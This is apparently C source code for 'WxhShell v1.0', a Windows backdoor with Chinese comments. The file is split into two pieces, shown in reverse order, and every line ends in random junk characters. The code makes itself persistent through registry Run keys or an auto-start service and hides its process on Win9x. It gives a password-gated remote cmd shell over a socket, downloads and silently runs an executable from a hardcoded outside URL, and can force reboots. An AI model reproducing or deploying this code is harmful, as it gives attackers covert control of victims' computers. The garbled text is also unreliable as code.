    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q!@M/@-Ky  
    if(Boot(SHUTDOWN)) E2>{ seZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K?' m#}]  
    else { )2?]c  
    closesocket(wsh); zMbFh_dcq  
    ExitThread(0); 18rV Acj  
    } E0+L?(;  
    break; sT2`y$ '  
    } =f!A o:Uc  
  // 获取shell RxYENG]/6  
  case 's': { %QEBY>|lI  
    CmdShell(wsh); >ceC8"}J5M  
    closesocket(wsh); N'ER!=l)  
    ExitThread(0); l+"p$iZs  
    break; O|8@cO  
  } @u9L+*F  
  // 退出 ?5nEmG|kO  
  case 'x': { [S,$E6&j$"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HZRFE[ 9nb  
    CloseIt(wsh); L?N&kzA  
    break; aj;x:UqpJ  
    } oLKliA=q  
  // 离开 ?YL J Xq  
  case 'q': { B.5+!z&7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e3SnC:OWf  
    closesocket(wsh); Wn@oG@}~  
    WSACleanup(); 5WHz_'c  
    exit(1); zU&Iy_Ke.  
    break; qSr]d`7@  
        } 'fU#v`i  
  } 6I"KomJ9  
  } h#r~2\q4ei  
;O`f+rG~  
  // 提示信息 dfdK%/' $(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ip{R'HG/  
} k+ t(u]  
  } OXrm!'  
#Pg`0xiV  
  return; !VWA4 e!+  
} I~n4}}9M  
3=uhy|f! /  
// shell模块句柄 7@<.~*Bl6  
int CmdShell(SOCKET sock) zni9  
{ Sz Mh  
STARTUPINFO si; ]Wkgpfd56  
ZeroMemory(&si,sizeof(si)); 62R";# K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n/1t UF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ik(YJw'i7E  
PROCESS_INFORMATION ProcessInfo; N E9,kWI  
char cmdline[]="cmd"; qK.(w Fx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 68u?}8}  
  return 0; A|f6H6UUx  
} <7 U~0@<Y  
b&[".ibN1  
// 自身启动模式 &!/>B .  
int StartFromService(void) )^o.H~Pv  
{ ?m*e$!M0  
typedef struct bfz7t!A)A  
{ ~ q-Z-MA  
  DWORD ExitStatus; C7{VByxJ  
  DWORD PebBaseAddress; qF~9:`  
  DWORD AffinityMask; Mn ,hmIz  
  DWORD BasePriority; >1!u]R<3  
  ULONG UniqueProcessId; G%bv<_R  
  ULONG InheritedFromUniqueProcessId; J "I,]  
}   PROCESS_BASIC_INFORMATION; ?P0b/g  
#b;?:.m\=  
PROCNTQSIP NtQueryInformationProcess; zz U,0 L  
g0zzDv7~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mrrpm% Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sr;&/l#7h  
>ZOlSLu  
  HANDLE             hProcess; 5m~9Vl-&  
  PROCESS_BASIC_INFORMATION pbi; gaz7u8$A=  
}2;P`s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b69nj  
  if(NULL == hInst ) return 0; G"F O%3&|  
O+o)z6(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F M6{%}4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )&O2l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aDRcVA$*  
x[{\Aw>$.  
  if (!NtQueryInformationProcess) return 0; : b`N(]  
&q<k0_5Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Nksm&{=6S  
  if(!hProcess) return 0; ]6Iu\,#J  
,VVA^'+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ys=} V|  
D?_K5a&v,  
  CloseHandle(hProcess); "G@K(bnHn  
l0,VN,$Yl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y5eEEG6  
if(hProcess==NULL) return 0; Un K7&Uo  
a 4ViVy  
HMODULE hMod; ]\^O(BzB  
char procName[255]; {BJ>x:2  
unsigned long cbNeeded; ir}z^+  
 _ VuWo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &qg6^&  
yx|iZhK0:}  
  CloseHandle(hProcess); y-E'Y=j  
QO =5Q  
if(strstr(procName,"services")) return 1; // 以服务启动 L/rf5||@  
P{A})t7  
  return 0; // 注册表启动 :L@ ;.s  
} ~o_JZ:  
O;RBK&P  
// 主模块 j#p;XI  
int StartWxhshell(LPSTR lpCmdLine) r&8aB85  
{ "e"#k}z9  
  SOCKET wsl; EF<TU.)Zf  
BOOL val=TRUE; 2|bt"y-5r  
  int port=0; kfnh1|D=aY  
  struct sockaddr_in door; Qq:}Z7 H  
Q$5 t~*$`  
  if(wscfg.ws_autoins) Install(); 0~U%csPHt  
=?C <@  
port=atoi(lpCmdLine); k( 0;>)<i  
nRBS&&V  
if(port<=0) port=wscfg.ws_port; :^kAFLU  
5 I_ :7$8  
  WSADATA data; 7k*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kZG=C6a  
KE,.Evyu=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /o4e n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lkT :e)w  
  door.sin_family = AF_INET; (NFrZ0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Chnt)N`/B4  
  door.sin_port = htons(port); ~NIhS!  
CqEbQ>?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `C: 7 N=9  
closesocket(wsl); gamB]FPZ  
return 1; \ 86 g y/  
} 8:& ! F`o  
:dW\Q&iW  
  if(listen(wsl,2) == INVALID_SOCKET) { LA;f,CQ  
closesocket(wsl); 2!-Q!c`y  
return 1; c #{|sR5  
} 0M;g&&mF  
  Wxhshell(wsl); 7_oUuNw  
  WSACleanup(); wuXQa wo  
H8w[{'Mei  
return 0; R*bx&..<  
sPQj B[  
} S~:uOm2t\  
c"tlNf?  
// 以NT服务方式启动 yQ/O[(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _<f%== I'  
{ [4#HuO@h  
DWORD   status = 0; >;9g`d  
  DWORD   specificError = 0xfffffff; q`p0ul,n  
)] q Qgc&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?rOj?J9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `WH$rx!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n`Z}tQ%)o  
  serviceStatus.dwWin32ExitCode     = 0; (!fx5&F  
  serviceStatus.dwServiceSpecificExitCode = 0; \Ebh6SRp\  
  serviceStatus.dwCheckPoint       = 0; b/[X8w'VP  
  serviceStatus.dwWaitHint       = 0; 'sZGLgT;m  
-KC@M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @}6<,;|DQ  
  if (hServiceStatusHandle==0) return; H,TApF89A  
W)ug %@)  
status = GetLastError(); #EUT"^:d  
  if (status!=NO_ERROR) 3\RD %[}  
{ qZ!kVrmg&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @>(JC]HtR  
    serviceStatus.dwCheckPoint       = 0; kAp#6->(q  
    serviceStatus.dwWaitHint       = 0; Y}BP ]#1  
    serviceStatus.dwWin32ExitCode     = status; xKE=$SV(  
    serviceStatus.dwServiceSpecificExitCode = specificError; !B Pm{_C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :2xGfy??  
    return; O$,  
  } X[h{g`  
})] iN "  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g5+m]3#t  
  serviceStatus.dwCheckPoint       = 0; +i}H $.  
  serviceStatus.dwWaitHint       = 0; a^LckHPI>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZB1%Kn#zo4  
} (5] [L<L  
qery|0W  
// 处理NT服务事件,比如:启动、停止 (pCHj'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pmBN?<  
{ w!<e#Z]3b  
switch(fdwControl) k'%yvlv  
{ 873 bg|^hs  
case SERVICE_CONTROL_STOP: OP+*%$wR  
  serviceStatus.dwWin32ExitCode = 0; %|x9C,0p#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u\ 7Y_`8  
  serviceStatus.dwCheckPoint   = 0; JJ1>)S}X-  
  serviceStatus.dwWaitHint     = 0; (L4llZ;q  
  { Vp; `!+z"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;5;>f)diS  
  } 1.@{5f3T  
  return; `Eg X#  
case SERVICE_CONTROL_PAUSE: H2|'JA#v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (&79}IEd  
  break; .*6NqX$  
case SERVICE_CONTROL_CONTINUE: 'eBD/w5U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~roNe|P  
  break; e=h-}XRC  
case SERVICE_CONTROL_INTERROGATE: 5D<Zbn.>q  
  break; -cUbIbW  
}; *2/qm:gB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HdlO Ga6C  
} G0h&0e{w  
,k_ b-/  
// 标准应用程序主函数 <= _!8A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BYdG K@ouk  
{ 8aHE=x/TL  
[L-wAk:Fb  
// 获取操作系统版本 Kn$t_7AF^  
OsIsNt=GetOsVer(); ?`Z:vqp>Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {Pe&J2 +  
7_3 PM 3C  
  // 从命令行安装 8>j&) @q  
  if(strpbrk(lpCmdLine,"iI")) Install(); oMAUR "  
6@lZVM)E  
  // 下载执行文件 VTR4uT-  
if(wscfg.ws_downexe) { v(0ujfSR0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) au19Q*r9  
  WinExec(wscfg.ws_filenam,SW_HIDE); T]Q4=xsv  
} <WWZb\"{  
%h0BA.r  
if(!OsIsNt) { QsKnaRT  
// 如果时win9x,隐藏进程并且设置为注册表启动 {~]5QKg.  
HideProc(); l #C<bDw  
StartWxhshell(lpCmdLine); 1F>8#+B/W  
} wKdWE`|y  
else 6K7lQ!#}Q  
  if(StartFromService()) ;~r-P$kCY  
  // 以服务方式启动 19[oXyFI  
  StartServiceCtrlDispatcher(DispatchTable); , 0X J|#%  
else +MHIZI  
  // 普通方式启动 *ze/$vz-  
  StartWxhshell(lpCmdLine); 8(- 29  
45wqX h  
return 0; _~tF2`,Y_p  
} dpchZ{  
fup?Mg-  
\kKd:C{  
wbr$w>n  
=========================================== V%;dTCq  
R f)|p;  
XySkm2y  
f'"PQr^9  
/T  {R\  
~C>;0a;<:  
" `K@N\VM  
lxZ9y  
#include <stdio.h> {4SaS v^/  
#include <string.h> z^*g 2J,  
#include <windows.h> @N[<<k7g  
#include <winsock2.h> P()n=&XO6  
#include <winsvc.h> L$"x*2[A  
#include <urlmon.h> % &H^UxC  
)mAD<y+  
#pragma comment (lib, "Ws2_32.lib") JgHYuLB  
#pragma comment (lib, "urlmon.lib") dg*xo9Xi`  
IDF0nx]  
#define MAX_USER   100 // 最大客户端连接数 . WJ  
#define BUF_SOCK   200 // sock buffer LZG(T$dI  
#define KEY_BUFF   255 // 输入 buffer !s$1C=z5u  
b^<7a&  
#define REBOOT     0   // 重启 r9 1i :  
#define SHUTDOWN   1   // 关机 sqF.,A,  
CD#U`jf  
#define DEF_PORT   5000 // 监听端口 F@ pf._c  
K&{ _s  
#define REG_LEN     16   // 注册表键长度 Lwm /[  
#define SVC_LEN     80   // NT服务名长度 !]7b31$M_  
t{s>B]i^_w  
// 从dll定义API ] !1HN3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OU/3U(%n]e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]X7_ji(l,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .i?{h/9y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B k\K G  
KCbOO8cQS  
// wxhshell配置信息 ('uUf!h?\  
struct WSCFG { P! j*4t  
  int ws_port;         // 监听端口 ]C+P J:CC  
  char ws_passstr[REG_LEN]; // 口令 kuLur)^  
  int ws_autoins;       // 安装标记, 1=yes 0=no   h)W#  
  char ws_regname[REG_LEN]; // 注册表键名 o[JZ>nm  
  char ws_svcname[REG_LEN]; // 服务名 O 1X)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *j<#5=l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U+ Yu_=o{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6 3PV R"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;InMgo,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `B8`<3k/(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <jFov`^  
ZF#lh]  
}; e{4e<hd  
d6m&nj  
// default Wxhshell configuration ??#EG{{  
struct WSCFG wscfg={DEF_PORT, /18fpH|  
    "xuhuanlingzhe", 2RqV\Jik  
    1, XmVst*2=  
    "Wxhshell", `z/ p,. u  
    "Wxhshell", N5#j}tT  
            "WxhShell Service", ,G?Kb#  
    "Wrsky Windows CmdShell Service", P A*U\  
    "Please Input Your Password: ", Q>\DM'{:4  
  1, OFcP4hDi  
  "http://www.wrsky.com/wxhshell.exe", wr:-n  
  "Wxhshell.exe" r-WX("Vvh  
    }; 8In~qf  
I3Z\]BI  
// 消息定义模块 i-WP#\s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y)(w&E>1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -!T24/l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]<%NX $9\  
char *msg_ws_ext="\n\rExit."; gd%Ho8,T  
char *msg_ws_end="\n\rQuit."; +g1+,?cU  
char *msg_ws_boot="\n\rReboot..."; >#T?]5Z'MF  
char *msg_ws_poff="\n\rShutdown..."; F$|d#ny  
char *msg_ws_down="\n\rSave to "; 8OS^3JS3"  
_\@zq*E  
char *msg_ws_err="\n\rErr!"; !xg10N}I  
char *msg_ws_ok="\n\rOK!"; wLfH/J  
*[jq&  
char ExeFile[MAX_PATH]; nD 4C $  
int nUser = 0; _D+J3d(Pjk  
HANDLE handles[MAX_USER]; DV({! [EP  
int OsIsNt; \|]+sQWQ  
:To{&T  
SERVICE_STATUS       serviceStatus; z}r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D#Mz#\4o  
<O-R  
// 函数声明 Sy*p6DP  
int Install(void); j,i)ecZ>  
int Uninstall(void); .UN?Ak*R  
int DownloadFile(char *sURL, SOCKET wsh); Gp?pSI,b.t  
int Boot(int flag); I&^hG\D  
void HideProc(void); W^;4t3eQf  
int GetOsVer(void); gHXvmR"  
int Wxhshell(SOCKET wsl); )*.rl  
void TalkWithClient(void *cs); G_k_qP^:  
int CmdShell(SOCKET sock); z -]ND  
int StartFromService(void); hVZS6gU,x  
int StartWxhshell(LPSTR lpCmdLine); 7a/ BS(kq<  
nI73E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r4?|sAK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 66MUrNW  
PCH$)F4^  
// 数据结构和表定义  Cz&t*i/  
SERVICE_TABLE_ENTRY DispatchTable[] = * +6Z^ 7  
{ 3:OqD~,zy  
{wscfg.ws_svcname, NTServiceMain}, ka`}lR  
{NULL, NULL} p~(STHDe#  
}; ~e]l  
(2 hI  
// 自我安装 N /;Vg ^Wx  
int Install(void) ~xJr|_,gp  
{ AOqL&z  
  char svExeFile[MAX_PATH]; fCO<-L9k$  
  HKEY key; 5@W63!N  
  strcpy(svExeFile,ExeFile); @6;ZP1  
0uGTc[^^M  
// 如果是win9x系统,修改注册表设为自启动 Kb/qM}jS  
if(!OsIsNt) { $(yi+v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rNke&z:%X_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |@'K]$vZ*  
  RegCloseKey(key); \m<$qp,n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?jbx7')  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `lbRy($L  
  RegCloseKey(key); T$DFTr\\  
  return 0; :;]O;RXt  
    } r'*#i>PkQD  
  } L?Ih;  
} V72?E%d0  
else { #2*R0_b  
\z@ :OR,  
// 如果是NT以上系统,安装为系统服务 Wrm3U/>e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :hf%6N='kI  
if (schSCManager!=0) x97L>>|  
{ OSh'b$Z  
  SC_HANDLE schService = CreateService v>j<ky   
  ( 0@ vzQ$  
  schSCManager, !bX   
  wscfg.ws_svcname, &pv* TL8  
  wscfg.ws_svcdisp, \SJX;7 ST  
  SERVICE_ALL_ACCESS, 3?+t%_[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w H`GzB"  
  SERVICE_AUTO_START, Ty;^3  
  SERVICE_ERROR_NORMAL, kH[thR k}  
  svExeFile, R3#| *)q  
  NULL, ZxCXru1  
  NULL, ]4FAbY2'h  
  NULL, '+GYw$  
  NULL, #~r+Z[(,p  
  NULL F}B2nL&  
  ); {X nBj}C  
  if (schService!=0) *oh,Va  
  { dL1{i,M  
  CloseServiceHandle(schService); L5wFbc"u  
  CloseServiceHandle(schSCManager); \ ~C/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !<h-2YF<M  
  strcat(svExeFile,wscfg.ws_svcname); XWB#7;,R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !xU\s'I+#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g6][N{xW0  
  RegCloseKey(key); S} &1_I  
  return 0; raMtTL+  
    } y8v0>V0)  
  } a\p`J9Z@  
  CloseServiceHandle(schSCManager); h6 :|RGF  
} BGstf4v>A<  
} /1+jQS  
X9&>.?r  
return 1; k/Q8:qA  
} 1_@vxi~aW_  
lvR>%I0`*  
// 自我卸载 z gxMDLH  
int Uninstall(void) MiMDEe%f%  
{ Ud#xgs'  
  HKEY key; 1b2xWzpG  
pT:6A[&  
if(!OsIsNt) { N=@8~{V.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Z}KRsp3  
  RegDeleteValue(key,wscfg.ws_regname); PoRP]Q*n  
  RegCloseKey(key); 4`?WdCW8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'SWK{t \4  
  RegDeleteValue(key,wscfg.ws_regname); +a+DiD>./  
  RegCloseKey(key); v#5hK<9  
  return 0; 8'Q&FW3"  
  } ,jy9\n*<t9  
} Q_k'7Z\g$  
} Z v 7}C  
else { ]-OF3+l4  
?nM]eUAP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TH~"y  
if (schSCManager!=0) j:2*hF!E  
{ 6""i<oR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1[e%E#h  
  if (schService!=0) }e>OmfxDBt  
  { ,Mn`kL<F  
  if(DeleteService(schService)!=0) { Ai`0Ud,M@  
  CloseServiceHandle(schService); hdbm8C3  
  CloseServiceHandle(schSCManager); [q|8.>sB  
  return 0; w6AG:u  
  } xr^fP~V|)0  
  CloseServiceHandle(schService); (w%9?y4Q  
  } ]-w.x ]I  
  CloseServiceHandle(schSCManager); AFWWGz  
} #0Z%4WQ  
} 7K24sHw;%  
:SN/fY  
return 1; &(NxkZp!  
} >PUT(yNL  
G~f|Sx  
// 从指定url下载文件 22EI`}"J  
int DownloadFile(char *sURL, SOCKET wsh) b C"rQJg  
{ 6MQyr2c  
  HRESULT hr; v;s^j  
char seps[]= "/"; C]krJse@  
char *token; 6'.CW4L  
char *file; yk2XfY  
char myURL[MAX_PATH]; W: 3fLXk+  
char myFILE[MAX_PATH];  &/)To  
o4YF,c+>q  
strcpy(myURL,sURL); ii ^Nxnc=  
  token=strtok(myURL,seps); $KsB'BZy  
  while(token!=NULL) 8y]{I^z}  
  { .h@bp1)l  
    file=token; U;Yw\&R,  
  token=strtok(NULL,seps); Tqx  
  } <,&t}7M/:  
rpL]5e!  
GetCurrentDirectory(MAX_PATH,myFILE); d.y-R#F_]  
strcat(myFILE, "\\"); KN.WTaO  
strcat(myFILE, file); v;Rm42k  
  send(wsh,myFILE,strlen(myFILE),0); yY80E[v  
send(wsh,"...",3,0); ]!WD">d:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7fW$jiw  
  if(hr==S_OK) 9lqD~H.  
return 0; Y>CZ  
else /)V8X#,  
return 1; w(q\75  
1HeE$  
} zoau5t  
!Ic~_7"  
// 系统电源模块 3Zm;:v4y  
int Boot(int flag) >oyZD^gj  
{ PC& (1kJ  
  HANDLE hToken; jB\Knxm v  
  TOKEN_PRIVILEGES tkp; .:Zb~  
a=*JyZ.2  
  if(OsIsNt) { KtaoU2s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F7`[r9 $  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `M ~-(,++  
    tkp.PrivilegeCount = 1; +VO(6Jn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %}Z1KiRiX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |N5|B Q(y$  
if(flag==REBOOT) { g`41d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %WFZ&>en&  
  return 0; YDGW]T]i ?  
} v(Q-RR  
else { E&\ 0+-Dw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R7Z!  
  return 0; f}Uf* Bp  
} (q=),3/<pU  
  } P?<G:]W  
  else { E7@m& R  
if(flag==REBOOT) { B\quXE)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1j!{?t ?  
  return 0; ;sY n=r  
} 4R9y~~+  
else { +<sv/gEt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9*? i89T  
  return 0; ?Nl@K/  
} 4l_~-Peh  
} D3C3_ @*  
R(#ZaFuo[  
return 1; /Hyi/D{W  
} +\25ynM  
{0\9HI@  
// win9x进程隐藏模块 jR^_1bu  
void HideProc(void) 1-8 G2e  
{ US] I[Y6V  
yzyK$WN\[3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U;FJSy  
  if ( hKernel != NULL ) b4>1UZGW-  
  { Url8&.pw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *^p^tK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d{(NeTs  
    FreeLibrary(hKernel); LDj*~\vsq  
  } BSyS DM  
}} zY]A  
return; luCwP  
} B[ r04YGh  
azl!#%  
// 获取操作系统版本 vm8ER,IW)  
int GetOsVer(void) C]ef `5NR]  
{ ??,/85lM  
  OSVERSIONINFO winfo; VB}^&{t)!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `4a9<bG  
  GetVersionEx(&winfo); v}Kj+9h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dg@'5.ApPu  
  return 1; Ypx"<CKP}  
  else 4.q^r]m*  
  return 0; *+j r? |  
} MD[;Ha  
;AJ6I*O@+  
// 客户端句柄模块  x]~&4fp  
int Wxhshell(SOCKET wsl) =v=u+nO  
{ U,Z7n H3_  
  SOCKET wsh; p4z thdN[  
  struct sockaddr_in client; D[3QQT7c  
  DWORD myID; &Yd6w}8  
S X[  
  while(nUser<MAX_USER) r)[Xzn   
{ Uh3N#O  
  int nSize=sizeof(client); 6-f-/$B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,7SqR Y,+  
  if(wsh==INVALID_SOCKET) return 1; NPLJ*uHH  
TECp!`)j"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |eP5iy wg  
if(handles[nUser]==0) FR6 PY  
  closesocket(wsh); @J<RFgw#  
else &L r~x#Wx  
  nUser++; b$>1_wTL  
  } Lm'+z97  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oh,29Gg  
pLtK:Z  
  return 0; Ui`#B  
} >lF@M-  
ricL.[v9S  
// 关闭 socket ) RNB;K~s9  
void CloseIt(SOCKET wsh) ma@!"Z8 S  
{ JHg y&/  
closesocket(wsh); [rReBgV  
nUser--; \/R $p  
ExitThread(0); 0t6DD  
} Te7xj8<  
C(2kx4n  
// 客户端请求句柄 RSup_4A  
void TalkWithClient(void *cs) pg{cZ1/  
{ NF'<8{~  
zB'_YwW  
  SOCKET wsh=(SOCKET)cs; Koc5~qUY]  
  char pwd[SVC_LEN]; Dfy=$:Q  
  char cmd[KEY_BUFF]; VI?kbq jo  
char chr[1]; 4X5KrecNr  
int i,j; nRs:^Q~o  
M[ ON2P;  
  while (nUser < MAX_USER) { ^SW0+O  
xpBQ(6Y  
if(wscfg.ws_passstr) { q$'[&&_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u]& +TR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eZ{Ce.lNR  
  //ZeroMemory(pwd,KEY_BUFF); bmO(tQS$5  
      i=0; I6PReVIb  
  while(i<SVC_LEN) { qD,/Qu62  
Dw<bLSaW&  
  // 设置超时 xMFEeSzl>S  
  fd_set FdRead; sCE%./h]  
  struct timeval TimeOut; g1)ZjABV  
  FD_ZERO(&FdRead); ~%@1-  
  FD_SET(wsh,&FdRead); F[>Y8e<[  
  TimeOut.tv_sec=8; nBwDq^  
  TimeOut.tv_usec=0; f(T`(pX0V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eQ<Vky^SJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %<<JWoB  
z&CBjlh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \f@obp  
  pwd=chr[0]; `@8O|j  
  if(chr[0]==0xd || chr[0]==0xa) { D7g B%  
  pwd=0; 5),&{k!  
  break; m+xub*/  
  } d2Ta&Md  
  i++; JthU' "K  
    } :-oMkBS  
XT1P. w[aA  
  // 如果是非法用户,关闭 socket AYfL}X<Ig  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @Y!B~  
} ]rji]4s  
T9uOOI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D/+l$aBz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <TgVU.*  
W#\{[o  
while(1) { se*k56,  
v1=N?8Hz1  
  ZeroMemory(cmd,KEY_BUFF); W=Mdh}u_I  
bZpx61h|  
      // 自动支持客户端 telnet标准   8L5O5F'  
  j=0; ,JfP$HJ  
  while(j<KEY_BUFF) { {+V ]@sz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3!`_Q%  
  cmd[j]=chr[0]; ~U5Tn3'~  
  if(chr[0]==0xa || chr[0]==0xd) { nK#%Od{GF  
  cmd[j]=0; .9vt<<Kwh  
  break; $.4N@=s,?c  
  } ha7mXGN%  
  j++; 8Z3:jSgk  
    } K9 +\Z  
@T J  
  // 下载文件 _}.WRFIJ@L  
  if(strstr(cmd,"http://")) { p5l|qs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C$4{'J-ZH  
  if(DownloadFile(cmd,wsh)) H'Jz:6   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Pvz57z{  
  else 4K*st8+bl-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h=^UMat-  
